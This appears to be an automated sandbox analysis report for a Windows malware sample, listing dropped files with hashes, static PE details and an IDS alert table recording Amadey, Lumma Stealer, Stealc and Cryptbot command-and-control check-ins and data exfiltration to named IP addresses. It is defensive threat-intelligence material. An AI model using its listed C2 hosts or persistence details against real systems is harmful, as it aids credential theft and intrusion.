Category:	modified
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	true
Reputation:	unknown
Preview:	[ZoneTransfer]....ZoneId=0

C:\Users\user\AppData\Local\Temp\mozilla-temp-files\mozilla-temp-41

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	ISO Media, MP4 Base Media v1 [ISO 14496-12:2003]
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.4593089050301797
Encrypted:	false
SSDEEP:	48:9SP0nUgwyZXYI65yFRX2D3GNTTfyn0Mk1iA:9SDKaIjo3UzyE1L
MD5:	D910AD167F0217587501FDCDB33CC544
SHA1:	2F57441CEFDC781011B53C1C5D29AC54835AFC1D
SHA-256:	E3699D9404A3FFC1AFF0CA8A3972DC0EF38BDAB927741E9F627C7C55CEA42E81
SHA-512:	F1871BF28FF25EE52BDB99C7A80AB715C7CAC164DCD2FD87E681168EE927FD2C5E80E03C91BB638D955A4627213BF575FF4D9EECAEDA7718C128CF2CE8F7CB3D
Malicious:	false
Reputation:	unknown
Preview:	... ftypisom....isomiso2avc1mp41....free....mdat..........E...H..,. .#..x264 - core 152 r2851 ba24899 - H.264/MPEG-4 AVC codec - Copyleft 2003-2017 - http://www.videolan.org/x264.html - options: cabac=1 ref=3 deblock=1:0:0 analyse=0x3:0x113 me=hex subme=7 psy=1 psy_rd=1.00:0.00 mixed_ref=1 me_range=16 chroma_me=1 trellis=1 8x8dct=1 cqm=0 deadzone=21,11 fast_pskip=1 chroma_qp_offset=-2 threads=4 lookahead_threads=1 sliced_threads=0 nr=0 decimate=1 interlaced=0 bluray_compat=0 constrained_intra=0 bframes=3 b_pyramid=2 b_adapt=1 b_bias=0 direct=1 weightb=1 open_gop=0 weightp=2 keyint=250 keyint_min=25 scenecut=40 intra_refresh=0 rc_lookahead=40 rc=crf mbtree=1 crf=23.0 qcomp=0.60 qpmin=0 qpmax=69 qpstep=4 ip_ratio=1.40 aq=1:1.00......e...+...s\|.kG3...'.u.."...,J.w.~.d\..(K....!.+..;....h....(.T.*...M......0..~L..8..B..A.y..R..,.zBP.';j.@.].w..........c......C=.'f....gI.$^.......m5V.L...{U..%V[....8......B..i..^,....:...,..5.m.%dA....moov...lmvhd...................(...........

C:\Users\user\AppData\Local\Temp\service123.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\1008758001\a7f098a093.exe
File Type:	PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	314617856
Entropy (8bit):	0.00234057762599113
Encrypted:	false
SSDEEP:	768:lWE9OaBxc0AJF8JAfPrYU3HcW534/lVBilJ7xbAOxuz/kQ:/xBxcEJAfPrYSHcW6/CdBuz7
MD5:	9D00DF14EED4230877C1EF0A679A8E70
SHA1:	F874289FCC1BA995D94FF43D115826B18232FAE1
SHA-256:	05466AC3A1F09726E552D0CBF3BAC625A7EB7944CEDF812F60B066DCBD74AFB1
SHA-512:	017F4987A0C9BCA49A299C6C3DC940AE3C0C2FD4B7DD78D03C3B65AD0B766231D68DC9F8CDE5A9F20186DDF1B642918361D44473D4B313B2E62D00648AD57D36
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 46%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...v.<g...............(.v........................@.......................... ...........@... .................................................................d...........................D.......................T................................text....t.......v..................`..`.data...T............z..............@....rdata...............\|..............@..@.eh_fram............................@..@.bss....t................................idata..............................@....CRT....0...........................@....tls................................@....reloc..d...........................@..B........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\unmYCIPOHmXNjqOesrEy.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\1008758001\a7f098a093.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	315803136
Entropy (8bit):	0.05437538209626748
Encrypted:	false
SSDEEP:
MD5:	6D00EFFE2881E2732BE5803A1A4C9356
SHA1:	3E67777029187539CABBE5A51563B78130E48925
SHA-256:	C11792DFC9F60EE410C105F2E44E32019AA128F6E1714DEFB1812956DAF3113C
SHA-512:	19C14A13FC1D3714EF5B61C53B665A630D131DFA6562BC1DC516D18D8DBCFC5DA66EF92D5D2AC3D996AF52B9B263CCE0618EDA8FBCA163EB79448B87F51D90C5
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....<g...........#...(...........................n.........................@......0.....@... .........................`.......................................Hz...........................=.........................t............................text...8...........................`..`.data...............................@....rdata..............................@..@.eh_framX...........................@..@.bss.........p...........................edata..`............:..............@..@.idata...............<..............@....CRT....,............F..............@....tls.................H..............@....reloc..Hz.......\|...J..............@..B................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs-1.js

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	ASCII text, with very long lines (1809), with CRLF line terminators
Category:	dropped
Size (bytes):	13244
Entropy (8bit):	5.494168349045212
Encrypted:	false
SSDEEP:
MD5:	F3C61FA8A55D520FED13DC13CDDA6DBA
SHA1:	A78A32A65BD7C928CAB70BC5AD56DDAD65F2C549
SHA-256:	CB5152D02BEE854BC5CFEE3E5D59D8CC3FB37DDC5C3090D61A2FE1033F95CE67
SHA-512:	E4D1B2AEC2582379603BD97DFA55D0BD9B098B78D8A35A17F461B2B54BA00B16464B508F232BE37189C1D8A291D0AAC4E11885856C8AE2DAB8688D231EEB1E0B
Malicious:	false
Reputation:	unknown
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "57f16a19-e119-4073-bf01-28f88011f783");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.backgroundErrors", 2);..user_pref("app.update.lastUpdateTime.addon-background-update-timer", 1732459002);..user_pref("app.update.lastUpdateTime.background-update-timer", 1732459002);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 1732459002);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 173245

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js (copy)

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	ASCII text, with very long lines (1809), with CRLF line terminators
Category:	dropped
Size (bytes):	13244
Entropy (8bit):	5.494168349045212
Encrypted:	false
SSDEEP:
MD5:	F3C61FA8A55D520FED13DC13CDDA6DBA
SHA1:	A78A32A65BD7C928CAB70BC5AD56DDAD65F2C549
SHA-256:	CB5152D02BEE854BC5CFEE3E5D59D8CC3FB37DDC5C3090D61A2FE1033F95CE67
SHA-512:	E4D1B2AEC2582379603BD97DFA55D0BD9B098B78D8A35A17F461B2B54BA00B16464B508F232BE37189C1D8A291D0AAC4E11885856C8AE2DAB8688D231EEB1E0B
Malicious:	false
Reputation:	unknown
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "57f16a19-e119-4073-bf01-28f88011f783");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.backgroundErrors", 2);..user_pref("app.update.lastUpdateTime.addon-background-update-timer", 1732459002);..user_pref("app.update.lastUpdateTime.background-update-timer", 1732459002);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 1732459002);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 173245

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\sessionCheckpoints.json (copy)

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	90
Entropy (8bit):	4.194538242412464
Encrypted:	false
SSDEEP:
MD5:	C4AB2EE59CA41B6D6A6EA911F35BDC00
SHA1:	5942CD6505FC8A9DABA403B082067E1CDEFDFBC4
SHA-256:	00AD9799527C3FD21F3A85012565EAE817490F3E0D417413BF9567BB5909F6A2
SHA-512:	71EA16900479E6AF161E0AAD08C8D1E9DED5868A8D848E7647272F3002E2F2013E16382B677ABE3C6F17792A26293B9E27EC78E16F00BD24BA3D21072BD1CAE2
Malicious:	false
Reputation:	unknown
Preview:	{"profile-after-change":true,"final-ui-startup":true,"sessionstore-windows-restored":true}

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\sessionCheckpoints.json.tmp

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	90
Entropy (8bit):	4.194538242412464
Encrypted:	false
SSDEEP:
MD5:	C4AB2EE59CA41B6D6A6EA911F35BDC00
SHA1:	5942CD6505FC8A9DABA403B082067E1CDEFDFBC4
SHA-256:	00AD9799527C3FD21F3A85012565EAE817490F3E0D417413BF9567BB5909F6A2
SHA-512:	71EA16900479E6AF161E0AAD08C8D1E9DED5868A8D848E7647272F3002E2F2013E16382B677ABE3C6F17792A26293B9E27EC78E16F00BD24BA3D21072BD1CAE2
Malicious:	false
Reputation:	unknown
Preview:	{"profile-after-change":true,"final-ui-startup":true,"sessionstore-windows-restored":true}

C:\Windows\Tasks\skotes.job

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	3.406574890121107
Encrypted:	false
SSDEEP:
MD5:	7026FE998CE361BD278D305D0C255450
SHA1:	8CAF736E0F3D15402F57C8FFF3DA33D7EEC23C96
SHA-256:	B950A994EA84B6712346CD91C99956FFD3EB73AF8A6273E748C5E466D5595971
SHA-512:	10CF10BF9A1716426B22A2509AAC27D32855A3B9BF4008F78CF3DCE87A33136D75994041CAA295EC34BE0CF8BDEFD247EC6998A4A8D0145D295CA6A3748C384B
Malicious:	false
Reputation:	unknown
Preview:	.....p..q.@.\|...P,.F.......<... .....s.......... ....................8.C.:.\.U.s.e.r.s.\.j.o.n.e.s.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.a.b.c.3.b.c.1.9.8.5.\.s.k.o.t.e.s...e.x.e.........J.O.N.E.S.-.P.C.\.j.o.n.e.s...................0...................@3P.........................

C:\Windows\appcompat\Programs\Amcache.hve

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	1835008
Entropy (8bit):	4.46550082528565
Encrypted:	false
SSDEEP:
MD5:	E0FFF878F13C2E95CB5E324EE63DB3EB
SHA1:	ED26B9CD57CEF6B48A1A6EFA13C4997A9BC79A08
SHA-256:	12201DB01743BE29D12DDA32F80CA2EB4B7FA42AE33EEEB204E6C8B8E665B1AA
SHA-512:	49BCD89F564B254D7A871EC395B479996807418CC653CCB3F5AD19CE650852C0E22F1B5E26A6F2E9B0FFFBF867E5502CCE1810B49D1E93C73A245DF2922A3CB4
Malicious:	false
Reputation:	unknown
Preview:	regf6...6....\.Z.................... ...........\.A.p.p.C.o.m.p.a.t.\.P.r.o.g.r.a.m.s.\.A.m.c.a.c.h.e...h.v.e....c...b...#.......c...b...#...........c...b...#......rmtmzE.Dt>.................................................................................................................................................................................................................................................................................................................................................p........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.951894923419184
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	1'910'272 bytes
MD5:	1720b52474ed20de02ae925ba32024b7
SHA1:	47b050f6af2e0382ce2efc05d31a76f4e007d1eb
SHA256:	36390b8dbc533edd9af51b7960bba7c5ba5ffe23b52e025733c2267f21ed07ff
SHA512:	dae9199bf6d00ae8012b975c59ed7ce16e6ac77225a667e5bc9203383a67e79d7b34639b60c327c9504e667881c3d0333630ee889bb4ae72d0fe9977fd55465c
SSDEEP:	49152:6jTTZmLxKV01EMRP4qlb3tKozUNGzASHVMMN1:K8LxKe12qlb8yUgRVMMD
TLSH:	D39533325E266E13E9FC753CE75B1C84EB112A750637F46F9D70C82ACA13A40E78E199
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C................

File Icon


Icon Hash:	90cececece8e8eb0

Static PE Info

General

Entrypoint:	0x8be000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x66F0569C [Sun Sep 22 17:40:44 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007F45A89CFDEAh

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x6a057	0x6b	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x69000	0x344	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x4bc960	0x10	ejhkawnv
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x4bc910	0x18	ejhkawnv
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x68000	0x2de00	5d30deb72a847afdc2e0899f45730854	False	0.9982224965940054	data	7.98618837151587	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x69000	0x344	0x400	982623c07c43a8169da5c3bd55ce4d06	False	0.4345703125	data	5.395849414192414	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x6a000	0x1000	0x200	cc76e3822efdc911f469a3e3cc9ce9fe	False	0.1484375	data	1.0428145631430756	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x6b000	0x2b1000	0x200	c4afb2d2f76203f15e3adde3e19c6f70	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
ejhkawnv	0x31c000	0x1a1000	0x1a0a00	bc4fb05bf7c7a9b02dced5e36039e44c	False	0.9945648861761176	data	7.954819740116705	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
ogegxoql	0x4bd000	0x1000	0x400	87bd810dd7c6952a9ffce8b83d46082a	False	0.7646484375	data	6.037157636285165	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x4be000	0x3000	0x2200	0dccc78f583c3b6b718c22136ed9d528	False	0.056410845588235295	DOS executable (COM)	0.7072918601006408	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_MANIFEST	0x69070	0x152	ASCII text, with CRLF line terminators			0.6479289940828402
RT_MANIFEST	0x691c4	0x17d	XML 1.0 document, ASCII text, with CRLF line terminators	English	United States	0.5931758530183727

Imports

DLL	Import
kernel32.dll	lstrcpy

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-11-24T14:24:07.352067+0100	2856147	ETPRO MALWARE Amadey CnC Activity M3	1	192.168.2.4	49748	185.215.113.43	80	TCP
2024-11-24T14:24:11.879466+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49760	31.41.244.11	80	TCP
2024-11-24T14:24:15.419957+0100	2856122	ETPRO MALWARE Amadey CnC Response M1	1	185.215.113.43	80	192.168.2.4	49759	TCP
2024-11-24T14:24:15.859333+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49770	104.21.10.6	443	TCP
2024-11-24T14:24:16.549041+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.4	49770	104.21.10.6	443	TCP
2024-11-24T14:24:16.549041+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49770	104.21.10.6	443	TCP
2024-11-24T14:24:16.857529+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.4	49774	185.215.113.43	80	TCP
2024-11-24T14:24:17.914676+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49777	104.21.10.6	443	TCP
2024-11-24T14:24:18.359491+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49778	31.41.244.11	80	TCP
2024-11-24T14:24:18.656163+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.4	49777	104.21.10.6	443	TCP
2024-11-24T14:24:18.656163+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49777	104.21.10.6	443	TCP
2024-11-24T14:24:20.395275+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49784	104.21.10.6	443	TCP
2024-11-24T14:24:23.832709+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49793	104.21.10.6	443	TCP
2024-11-24T14:24:25.198637+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.4	49793	104.21.10.6	443	TCP
2024-11-24T14:24:26.800594+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49801	104.21.10.6	443	TCP
2024-11-24T14:24:29.586459+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.4	49807	185.215.113.43	80	TCP
2024-11-24T14:24:30.238767+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49812	104.21.10.6	443	TCP
2024-11-24T14:24:31.100191+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49815	185.215.113.16	80	TCP
2024-11-24T14:24:32.935327+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49819	104.21.10.6	443	TCP
2024-11-24T14:24:38.074658+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49833	104.21.10.6	443	TCP
2024-11-24T14:24:38.264155+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.4	49832	185.215.113.43	80	TCP
2024-11-24T14:24:38.587916+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49834	104.21.33.116	443	TCP
2024-11-24T14:24:38.825594+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49833	104.21.10.6	443	TCP
2024-11-24T14:24:39.475651+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.4	49834	104.21.33.116	443	TCP
2024-11-24T14:24:39.475651+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49834	104.21.33.116	443	TCP
2024-11-24T14:24:39.813413+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49838	185.215.113.16	80	TCP
2024-11-24T14:24:40.766455+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49841	104.21.33.116	443	TCP
2024-11-24T14:24:46.991101+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.4	49857	185.215.113.43	80	TCP
2024-11-24T14:24:47.283849+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.4	49855	185.215.113.206	80	TCP
2024-11-24T14:24:47.737188+0100	2044244	ET MALWARE Win32/Stealc Requesting browsers Config from C2	1	192.168.2.4	49855	185.215.113.206	80	TCP
2024-11-24T14:24:47.860052+0100	2044245	ET MALWARE Win32/Stealc Active C2 Responding with browsers Config	1	185.215.113.206	80	192.168.2.4	49855	TCP
2024-11-24T14:24:48.190286+0100	2044246	ET MALWARE Win32/Stealc Requesting plugins Config from C2	1	192.168.2.4	49855	185.215.113.206	80	TCP
2024-11-24T14:24:48.311454+0100	2044247	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config	1	185.215.113.206	80	192.168.2.4	49855	TCP
2024-11-24T14:24:48.775637+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49862	185.215.113.16	80	TCP
2024-11-24T14:24:49.817604+0100	2044248	ET MALWARE Win32/Stealc Submitting System Information to C2	1	192.168.2.4	49855	185.215.113.206	80	TCP
2024-11-24T14:24:50.674404+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49855	185.215.113.206	80	TCP
2024-11-24T14:24:51.784967+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49870	104.21.33.116	443	TCP
2024-11-24T14:24:52.550753+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.4	49870	104.21.33.116	443	TCP
2024-11-24T14:24:52.550753+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49870	104.21.33.116	443	TCP
2024-11-24T14:24:53.903725+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49876	104.21.33.116	443	TCP
2024-11-24T14:24:54.469837+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.4	49877	185.215.113.43	80	TCP
2024-11-24T14:24:54.661851+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.4	49876	104.21.33.116	443	TCP
2024-11-24T14:24:54.661851+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49876	104.21.33.116	443	TCP
2024-11-24T14:24:55.985887+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49888	185.215.113.16	80	TCP
2024-11-24T14:24:57.144558+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49893	104.21.33.116	443	TCP
2024-11-24T14:24:58.566002+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.4	49893	104.21.33.116	443	TCP
2024-11-24T14:25:00.435588+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49908	104.21.33.116	443	TCP
2024-11-24T14:25:04.815026+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.4	49921	185.215.113.43	80	TCP
2024-11-24T14:25:05.948562+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49926	104.21.33.116	443	TCP
2024-11-24T14:25:09.262529+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49938	104.21.33.116	443	TCP
2024-11-24T14:25:12.951751+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49950	104.21.33.116	443	TCP
2024-11-24T14:25:20.231290+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49980	104.21.33.116	443	TCP
2024-11-24T14:25:21.058800+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49980	104.21.33.116	443	TCP
2024-11-24T14:25:22.676331+0100	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	2	192.168.2.4	49995	185.215.113.16	80	TCP
2024-11-24T14:25:24.218665+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	50004	104.21.33.116	443	TCP
2024-11-24T14:25:25.040465+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.4	50004	104.21.33.116	443	TCP
2024-11-24T14:25:25.040465+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	50004	104.21.33.116	443	TCP
2024-11-24T14:25:26.531710+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	50014	104.21.33.116	443	TCP
2024-11-24T14:25:27.240135+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.4	50014	104.21.33.116	443	TCP
2024-11-24T14:25:27.240135+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	50014	104.21.33.116	443	TCP
2024-11-24T14:25:28.725204+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	50022	104.21.33.116	443	TCP
2024-11-24T14:25:29.732600+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.4	50022	104.21.33.116	443	TCP
2024-11-24T14:25:31.045066+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	50031	104.21.33.116	443	TCP
2024-11-24T14:25:33.291531+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	50037	104.21.33.116	443	TCP
2024-11-24T14:25:35.541015+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	50044	104.21.33.116	443	TCP
2024-11-24T14:25:38.265419+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	50052	104.21.33.116	443	TCP
2024-11-24T14:25:38.444709+0100	2054350	ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4	1	192.168.2.4	50051	34.116.198.130	80	TCP
2024-11-24T14:25:39.181123+0100	2843864	ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2	1	192.168.2.4	50052	104.21.33.116	443	TCP
2024-11-24T14:25:40.419423+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	50065	104.21.33.116	443	TCP
2024-11-24T14:25:41.125533+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	50065	104.21.33.116	443	TCP
2024-11-24T14:25:42.581192+0100	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	2	192.168.2.4	50072	185.215.113.16	80	TCP
2024-11-24T14:25:43.715596+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.4	50073	185.215.113.206	80	TCP
2024-11-24T14:25:51.457814+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.4	50112	185.215.113.206	80	TCP
2024-11-24T14:27:54.805611+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	50241	51.116.246.106	443	TCP
2024-11-24T14:28:34.941587+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	50259	104.21.33.116	443	TCP
